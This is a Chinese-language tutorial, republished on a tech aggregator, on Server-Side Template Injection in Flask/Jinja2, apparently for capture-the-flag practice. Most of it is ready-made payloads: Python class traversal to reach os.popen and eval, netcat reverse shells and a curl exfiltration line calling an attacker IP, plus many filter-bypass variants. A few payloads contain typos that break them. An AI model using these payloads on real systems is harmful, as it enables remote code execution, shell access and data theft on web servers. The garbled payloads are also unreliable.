SSTI模板注入入门

编程入门 行业动态 更新时间:2024-10-08 08:29:09

SSTI模板注入<a href=https://www.elefans.com/category/jswz/34/1770026.html style=入门"/>

SSTI模板注入入门

一.关系:子类->父类

class A:passclass B(A):passclass C(B):passclass D(B):passc=C()

1.__class__查看当前类

c:当前类

print(c.__class__)

2.__base__查看当前类的父类

print(c.__class__.__base__)

c的父类的父类

print(c.__class__.__base__.__base__)

e的父类的父类的父类

print(c.__class__.__base__.__base__.__base__)

最终的父类都是object

3.__mro__从当前往上查看所有类

print(c.__class__.__mro__)

查看e的当前类

print(c.__class__.__mro__[0])

 查看e的父类 

print(c.__class__.__mro__[1])

 查看e的父类的父类 

print(c.__class__.__mro__[2])

4.__subclass__()查看子类

 查看c的父类的子类 

print(c.__class__.__mro__[1].__subclasses__())

[<class '__main__.C'>, <class '__main__.D'>]

 查看基类object下面的子类 

print(c.__class__.__base__.__base__.__base__.__subclasses__())

5.利用与C同级的D类

print(c.__class__.__mro__[1].__subclasses__()[1])

二.利用

1.查看object类

{{''.__class__.__base__}}

[],'',(),""用起来都没有区别,都是为了找到object类,如果有哪个被过滤了,可以尝试其他的

在object类里面找到os.__wrap__close

用notepad把object下面所有类进行排序

 os._wrap_close在133 

2.利用os.__wrap__close

为什么利用os.__wrap__close,因为在其里面的全局变量可以找到内置函数eval

{{''.__class__.__base__.__subclasses__()[132].__init__}}

用__init__检测是否已经重载,重载才可以使用

 没有出现wrapper说明已经重载可以使用 

3.__globals__查看全局变量

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}

如果globals被过滤可以单引号拼接,如下:

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']}}

题目简单可以直接搜到flag

 4.调用globals里面的各种函数 

比如eval,popen,system,exec

这里我调用eval函数

__builtins__提供对python的所有内置标识符的访问

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

更省事的写法

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__ ['eval']("__import__('os').popen('ls').read()")}}

5.其他调用方式

  通过config调用

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{config.__class__.__init__['__glo''bals__']['o''s'].popen('ls').read()}}

通过url_for调用

{{url_for.__globals__.os.popen('ls').read()}}

{{url_for['__gl''obals__']['o''s'].popen('ls').read()}}

通过lipsum调用

{{lipsum.__globals__.os.popen('ls').read()}}

{{lipsum['__glo''bals__']['o''s'].popen('ls').read()}}

 三.SSTI绕过

1.绕过过滤双大括号

{% %}属于flask的控制语句,且以{% end.. %}结尾,可以通过控制语句定义变量或者写循环,判断。

 如果{{}}被过滤,尝试{%%}

构造脚本查询可使用popen 的子类编号

想要回显,用print输出 

{% print(''.__class__.__base__.__subclasses__[117].__init__.__globals__['popen']('ls').read())% }

{% print(''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('head /flag').read()"))%}

 2.无回显的SSTI 

反弹shell

通过rce反弹一个shell

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['pop''en']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{[].__class__.__base__.__subclasses__()[84]["load_module"]("o""s")["popen"]("netcat 192.168.211.134 7777 -e /bin/bash").read()}}

linux:nc -lvp 7777

带外注入

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('curl http://192.168.211.134/`cat /flag`').read()}}

linux:python3 -m http.server 80

3.纯盲注

布尔,时间盲注

4.绕过过滤中括号

__getitem__()魔术方法

对字典使用时,传入字符串,返回字典相应键对应的值

对列表使用时,传入整数,返回对应的索引的值

{{''.__class__.__base__.__subclasses__().__getitem__(132)}}

等价于{{''.__class__.__base__.__subclasses__()[132]}}

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

绕过

{{''.__class__.__base__.__subclasses__().__getitem(132).__init__.__globals__.__getitem('popen')('ls').read()}}

5.绕过单双引号

利用:

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

改为

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd)}}

然后url传哥参数?popen=popen&cmd=cat /flag

如果想post传参,request.args.cmd改为request.form.cmd

如果想cookie传参,用request.cookies.cmd 如果多个参数用分号;隔开

Cookie : key1=   ;key2= 

6.过滤器绕过下划线过滤

 使用request

 过滤器通过管道符|与变量连接,并且在括号中可能有可选的参数

可以连接到多个过滤器,一个过滤器的输出将应用于下一个过滤器

attr绕过下划线

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

改为

{{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args)(&apos;popen&apos;)(&apos;ls&apos;)|attr(&apos;read&apos;)()}}

get传参?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem___ 

7.绕过.被过滤

 用中括号代替点

{{''[__class__][__base__][__subclasses__]()[133][__init__][__globals__]['popen']('ls')['read']()}}

用attr绕过 

8.关键词过滤绕过

  过滤了class.arg,form,value,ini,global等关键词

字符编码  unicode 16编码

使用拼接 '__cla''ss__'

jinjia2中使用~进行拼接

{%set a="__cla"%}{%set b="ss_"%}{{a~b}}  

使用过滤器,reverse反转,replace替换,join拼接

{%set a="__ssalc__"|reverse%}{{a}}

 使用python的char()

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}(暂时没懂) 

 9.绕过过滤数字

过滤器length

{%set a='aaaaa'|length%}{{a}}  输出5

{%set a='aaaaa'|length*'aaa'%}{{a}}输出15

{%set a='aaaaa'|length*'aaa'|length-'aa'%}{{a}}输出13 

10.其他技巧

看看flag有没有在config里

{{config}}

current_app查看配置

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

更多推荐

SSTI模板注入入门

本文发布于:2023-11-16 14:26:52,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1625123.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:入门   模板   SSTI

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!